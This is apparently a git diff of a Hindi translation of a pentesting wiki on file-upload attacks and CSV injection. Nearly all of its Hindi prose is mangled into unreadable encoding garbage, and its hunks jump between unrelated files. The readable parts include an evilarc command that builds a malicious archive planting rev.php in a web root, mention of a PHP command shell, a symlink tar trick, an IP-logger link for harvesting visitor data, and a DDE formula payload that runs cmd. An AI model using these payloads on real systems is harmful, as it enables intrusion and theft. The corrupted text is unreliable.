**рдЕрдкрд▓реЛрдб** + **XSS** = [**рд╕реЗрд╡рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛** рд╢реЛрд╖рдг](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE svg рдЕрдкрд▓реЛрдб рдореЗрдВ**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**рдУрдкрди рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ** svg рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ](../open-redirect.md#open-redirect-uploading-svg-files) -- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) рд╕реЗ **рд╡рд┐рднрд┐рдиреНрди svg рдкреЗрд▓реЛрдб** рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ\*\*\*\* +- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) рд╕реЗ **рд╡рд┐рднрд┐рдиреНрди svg рдкреЗрд▓реЛрдб** рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ - [рдкреНрд░рд╕рд┐рджреНрдз **ImageTrick** рдХрдордЬреЛрд░реА](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- рдпрджрд┐ рдЖрдк **рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреЛ URL рд╕реЗ рдЗрдореЗрдЬ рдкрдХрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрдВрдЧрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рддреЛ рдЖрдк [SSRF](../ssrf-server-side-request-forgery/index.html) рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рдпрд╣ **рдЗрдореЗрдЬ** рдХрд┐рд╕реА **рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ** рд╕рд╛рдЗрдЯ рдкрд░ **рд╕рд╣реЗрдЬреА** рдЬрд╛ рд░рд╣реА рд╣реИ, рддреЛ рдЖрдк [https://iplogger.org/invisible/](https://iplogger.org/invisible/) рд╕реЗ рдПрдХ URL рднреА рдЗрдВрдЧрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **рд╣рд░ рдЖрдЧрдВрддреБрдХ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдЪреБрд░рд╛ рд╕рдХрддреЗ рд╣реИрдВ**ред +- рдпрджрд┐ рдЖрдк **рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреЛ рдПрдХ URL рд╕реЗ рдЗрдореЗрдЬ рдкрдХрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдХреЗрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рддреЛ рдЖрдк [SSRF](../ssrf-server-side-request-forgery/index.html) рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рдпрд╣ **рдЗрдореЗрдЬ** рдХрд┐рд╕реА **рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ** рд╕рд╛рдЗрдЯ рдкрд░ **рд╕рд╣реЗрдЬреА** рдЬрд╛ рд░рд╣реА рд╣реИ, рддреЛ рдЖрдк [https://iplogger.org/invisible/](https://iplogger.org/invisible/) рд╕реЗ рдПрдХ URL рднреА рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **рд╣рд░ рдЖрдЧрдВрддреБрдХ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдЪреБрд░рд╛ рд╕рдХрддреЗ рд╣реИрдВ**ред - [PDF-Adobe рдЕрдкрд▓реЛрдб рдХреЗ рд╕рд╛рде **XXE рдФрд░ CORS** рдмрд╛рдпрдкрд╛рд╕](pdf-upload-xxe-and-cors-bypass.md) -- XSS рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рддреИрдпрд╛рд░ рдХрд┐рдП рдЧрдП PDFs: [рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рджрд┐рдЦрд╛рддрд╛ рд╣реИ рдХрд┐ **JS рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП PDF рдбреЗрдЯрд╛ рдХреИрд╕реЗ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдВ**](../xss-cross-site-scripting/pdf-injection.md)ред рдпрджрд┐ рдЖрдк PDFs рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдХреБрдЫ PDF рддреИрдпрд╛рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рджрд┐рдП рдЧрдП рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдордирдорд╛рдирд╛ JS рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ред -- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) рд╕рд╛рдордЧреНрд░реА рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рддрд╛рдХрд┐ рдпрд╣ рдЬрд╛рдВрдЪрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рд╕рд░реНрд╡рд░ рдореЗрдВ рдХреЛрдИ **рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕** рд╣реИ рдпрд╛ рдирд╣реАрдВ +- XSS рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рддреИрдпрд╛рд░ рдХрд┐рдП рдЧрдП PDFs: [рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреИрд╕реЗ **PDF рдбреЗрдЯрд╛ рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ JS рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ**](../xss-cross-site-scripting/pdf-injection.md)ред рдпрджрд┐ рдЖрдк PDFs рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдХреБрдЫ PDF рддреИрдпрд╛рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рджрд┐рдП рдЧрдП рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдордирдорд╛рдиреЗ JS рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ред +- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рддрд╛рдХрд┐ рдпрд╣ рдЬрд╛рдВрдЪрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рд╕рд░реНрд╡рд░ рдореЗрдВ рдХреЛрдИ **рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕** рд╣реИ рдпрд╛ рдирд╣реАрдВ - рдлрд╝рд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рддреЗ рд╕рдордп рдпрджрд┐ рдХреЛрдИ **рдЖрдХрд╛рд░ рд╕реАрдорд╛** рд╣реИ рддреЛ рдЬрд╛рдВрдЪреЗрдВ рдпрд╣рд╛рдБ рд╢реАрд░реНрд╖ 10 рдЪреАрдЬреЛрдВ рдХреА рд╕реВрдЪреА рд╣реИ рдЬреЛ рдЖрдк рдЕрдкрд▓реЛрдб рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рд╕реЗ [рдпрд╣рд╛рдБ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): @@ -204,13 +204,13 @@ https://github.com/portswigger/upload-scanner - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **JPG**: `"\xff\xd8\xff"` -рдЕрдиреНрдп рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЗ рд▓рд┐рдП [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) рдкрд░ рдЬрд╛рдПрдВред +рдЕрдиреНрдп рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЗ рд▓рд┐рдП [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) рдХреЛ рджреЗрдЦреЗрдВред ## рдЬрд╝рд┐рдк/рдЯрд╛рд░ рдлрд╝рд╛рдЗрд▓ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдбрд┐рдХрдВрдкреНрд░реЗрд╕реНрдб рдЕрдкрд▓реЛрдб рдпрджрд┐ рдЖрдк рдПрдХ ZIP рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд╕рд░реНрд╡рд░ рдХреЗ рдЕрдВрджрд░ рдбрд┐рдХрдВрдкреНрд░реЗрд╕ рд╣реЛрдиреЗ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк 2 рдЪреАрдЬреЗрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: -### рд╕рд┐рдореНрд▓рд┐рдВрдХ +### рд╕рд┐рдорд▓рд┐рдВрдХ рдПрдХ рд▓рд┐рдВрдХ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдЬрд┐рд╕рдореЗрдВ рдЕрдиреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рд╕реЙрдлреНрдЯ рд▓рд┐рдВрдХ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдлрд┐рд░, рдбрд┐рдХрдВрдкреНрд░реЗрд╕ рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдХрд░ рдЖрдк рд▓рд┐рдВрдХ рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪреЗрдВрдЧреЗ: ``` @@ -220,16 +220,16 @@ tar -cvf test.tar symindex.txt ``` ### Decompress in different folders -рдбрд┐рдХрдореНрдкреНрд░реЗрд╢рди рдХреЗ рджреМрд░рд╛рди рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдирд┐рд░реНрдорд╛рдг рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕рдорд╕реНрдпрд╛ рд╣реИред рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдзрд╛рд░рдгрд╛рдУрдВ рдХреЗ рдмрд╛рд╡рдЬреВрдж рдХрд┐ рдпрд╣ рд╕реЗрдЯрдЕрдк рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ OS-рд╕реНрддрд░реАрдп рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕реБрд░рдХреНрд╖рд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, ZIP рдЖрд░реНрдХрд╛рдЗрд╡ рдкреНрд░рд╛рд░реВрдк рдХреА рдкрджрд╛рдиреБрдХреНрд░рдорд┐рдд рд╕рдВрдкреАрдбрд╝рди рд╕рдорд░реНрдерди рдФрд░ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ traversal рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдФрд░ рд▓рдХреНрд╖рд┐рдд рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рдбрд┐рдХрдореНрдкреНрд░реЗрд╢рди рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рд╣реЗрд░рдлреЗрд░ рдХрд░рдХреЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдЕрдкрд▓реЛрдб рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +рдбрд┐рдХрдореНрдкреНрд░реЗрд╢рди рдХреЗ рджреМрд░рд╛рди рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдирд┐рд░реНрдорд╛рдг рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕рдорд╕реНрдпрд╛ рд╣реИред рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдзрд╛рд░рдгрд╛рдУрдВ рдХреЗ рдмрд╛рд╡рдЬреВрдж рдХрд┐ рдпрд╣ рд╕реЗрдЯрдЕрдк OS-рд╕реНрддрд░реАрдп рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддрд╛ рд╣реИ, ZIP рдЖрд░реНрдХрд╛рдЗрд╡ рдкреНрд░рд╛рд░реВрдк рдХреА рдкрджрд╛рдиреБрдХреНрд░рдорд┐рдд рд╕рдВрдкреАрдбрд╝рди рд╕рдорд░реНрдерди рдФрд░ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдпрд╛рддреНрд░рд╛ рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдФрд░ рд▓рдХреНрд╖рд┐рдд рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рдбрд┐рдХрдореНрдкреНрд░реЗрд╢рди рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рд╣реЗрд░рдлреЗрд░ рдХрд░рдХреЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдЕрдкрд▓реЛрдб рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -рдЗрд╕ рддрд░рд╣ рдХреА рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╢реЛрд╖рдг [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИред рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +рдРрд╕реА рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╢реЛрд╖рдг [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИред рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, **evilarc рдХреЗ рд╕рд╛рде symlink рдЯреНрд░рд┐рдХ** рдПрдХ рд╡рд┐рдХрд▓реНрдк рд╣реИред рдпрджрд┐ рдЙрджреНрджреЗрд╢реНрдп `/flag.txt` рдЬреИрд╕реА рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рдирд╛ рд╣реИ, рддреЛ рдЖрдкрдХреА рдкреНрд░рдгрд╛рд▓реА рдореЗрдВ рдЙрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рдПрдХ symlink рдмрдирд╛рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ evilarc рдЕрдкрдиреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рджреМрд░рд╛рди рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХрд╛ рд╕рд╛рдордирд╛ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред +рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, **evilarc рдХреЗ рд╕рд╛рде symlink рдЯреНрд░рд┐рдХ** рдПрдХ рд╡рд┐рдХрд▓реНрдк рд╣реИред рдпрджрд┐ рдЙрджреНрджреЗрд╢реНрдп `/flag.txt` рдЬреИрд╕реА рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рдирд╛ рд╣реИ, рддреЛ рдЖрдкрдХреА рдкреНрд░рдгрд╛рд▓реА рдореЗрдВ рдЙрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рдПрдХ symlink рдмрдирд╛рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ evilarc рдЕрдкрдиреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рджреМрд░рд╛рди рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХрд╛ рд╕рд╛рдордирд╛ рди рдХрд░реЗред рдиреАрдЪреЗ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ Python рдХреЛрдб рдХрд╛ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг zip рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: ```python @@ -253,7 +253,7 @@ create_zip() рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг рдХреЗ рд▓рд┐рдП **рдореВрд▓ рдкреЛрд╕реНрдЯ рджреЗрдЦреЗрдВ**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **PHP рд╢реЗрд▓ рдмрдирд╛рдирд╛**: PHP рдХреЛрдб рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИ рдЬреЛ `$_REQUEST` рд╡реЗрд░рд┐рдПрдмрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╛рд╕ рдХрд┐рдП рдЧрдП рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИред +1. **PHP рд╢реЗрд▓ рдмрдирд╛рдирд╛**: PHP рдХреЛрдб рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИ рддрд╛рдХрд┐ `$_REQUEST` рд╡реЗрд░рд┐рдПрдмрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╛рд╕ рдХрд┐рдП рдЧрдП рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред ```php [!CAUTION] -> рдЖрдЬрдХрд▓ **Excel рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЪреЗрддрд╛рд╡рдиреА рджреЗрдЧрд╛** (рдХрдИ рдмрд╛рд░) рдЬрдм **рдХреБрдЫ Excel рдХреЗ рдмрд╛рд╣рд░ рд╕реЗ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ** рддрд╛рдХрд┐ рдЙрд╕реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХрд╛рд░реНрд░рд╡рд╛рдИ рд╕реЗ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрд╕рд▓рд┐рдП, рдЕрдВрддрд┐рдо payload рдкрд░ рд╕рд╛рдорд╛рдЬрд┐рдХ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдкрд░ рд╡рд┐рд╢реЗрд╖ рдкреНрд░рдпрд╛рд╕ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред +> рдЖрдЬрдХрд▓ **Excel рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЪреЗрддрд╛рд╡рдиреА рджреЗрдЧрд╛** (рдХрдИ рдмрд╛рд░) рдЬрдм **рдХреБрдЫ рдмрд╛рд╣рд░реА Excel рд╕реЗ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ** рддрд╛рдХрд┐ рдЙрд╕реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХрд╛рд░реНрд░рд╡рд╛рдИ рд╕реЗ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрд╕рд▓рд┐рдП, рдЕрдВрддрд┐рдо payload рдкрд░ рд╕рд╛рдорд╛рдЬрд┐рдХ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдкрд░ рд╡рд┐рд╢реЗрд╖ рдкреНрд░рдпрд╛рд╕ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред ### [Wordlist](https://github.com/payloadbox/csv-injection-payloads) ``` @@ -26,20 +26,20 @@ DDE ("cmd";"/C calc";"!A0")A0 рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) рд╕реЗ рд▓рд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред -рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдХрд┐ рдПрдХ рдЫрд╛рддреНрд░ рд░рд┐рдХреЙрд░реНрдб рдкреНрд░рдмрдВрдзрди рдкреНрд░рдгрд╛рд▓реА рдореЗрдВ рд╕реБрд░рдХреНрд╖рд╛ рдЙрд▓реНрд▓рдВрдШрди рдХреЛ CSV рдЗрдВрдЬреЗрдХреНрд╢рди рд╣рдорд▓реЗ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдХрд╛ рдкреНрд░рд╛рдердорд┐рдХ рдЗрд░рд╛рджрд╛ рдЙрд╕ рдкреНрд░рдгрд╛рд▓реА рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдирд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╢рд┐рдХреНрд╖рдХ рдЫрд╛рддреНрд░ рд╡рд┐рд╡рд░рдг рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рд╡рд┐рдзрд┐ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреЗрд▓реЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЫрд╛рддреНрд░ рд╡рд┐рд╡рд░рдг рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХреНрд╖реЗрддреНрд░реЛрдВ рдореЗрдВ рд╣рд╛рдирд┐рдХрд╛рд░рдХ рд╕реВрддреНрд░ рджрд░реНрдЬ рдХрд░рдХреЗред рд╣рдорд▓рд╛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ unfolds рд╣реЛрддрд╛ рд╣реИ: +рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдХрд┐ рдПрдХ рдЫрд╛рддреНрд░ рд░рд┐рдХреЙрд░реНрдб рдкреНрд░рдмрдВрдзрди рдкреНрд░рдгрд╛рд▓реА рдореЗрдВ рд╕реБрд░рдХреНрд╖рд╛ рдЙрд▓реНрд▓рдВрдШрди рдХреЛ CSV рдЗрдВрдЬреЗрдХреНрд╢рди рд╣рдорд▓реЗ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдХрд╛ рдкреНрд░рд╛рдердорд┐рдХ рдЗрд░рд╛рджрд╛ рдЙрд╕ рдкреНрд░рдгрд╛рд▓реА рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдирд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╢рд┐рдХреНрд╖рдХ рдЫрд╛рддреНрд░ рд╡рд┐рд╡рд░рдг рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рд╡рд┐рдзрд┐ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреЗрд▓реЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддреА рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЫрд╛рддреНрд░ рд╡рд┐рд╡рд░рдг рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХреНрд╖реЗрддреНрд░реЛрдВ рдореЗрдВ рд╣рд╛рдирд┐рдХрд╛рд░рдХ рд╕реВрддреНрд░ рджрд░реНрдЬ рдХрд░рдХреЗред рд╣рдорд▓рд╛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ unfolds рд╣реЛрддрд╛ рд╣реИ: 1. **рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреЗрд▓реЛрдб рдХрд╛ рдЗрдВрдЬреЗрдХреНрд╢рди:** - рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдЫрд╛рддреНрд░ рд╡рд┐рд╡рд░рдг рдлреЙрд░реНрдо рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдПрдХ рд╕реВрддреНрд░ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рд╕реНрдкреНрд░реЗрдбрд╢реАрдЯ 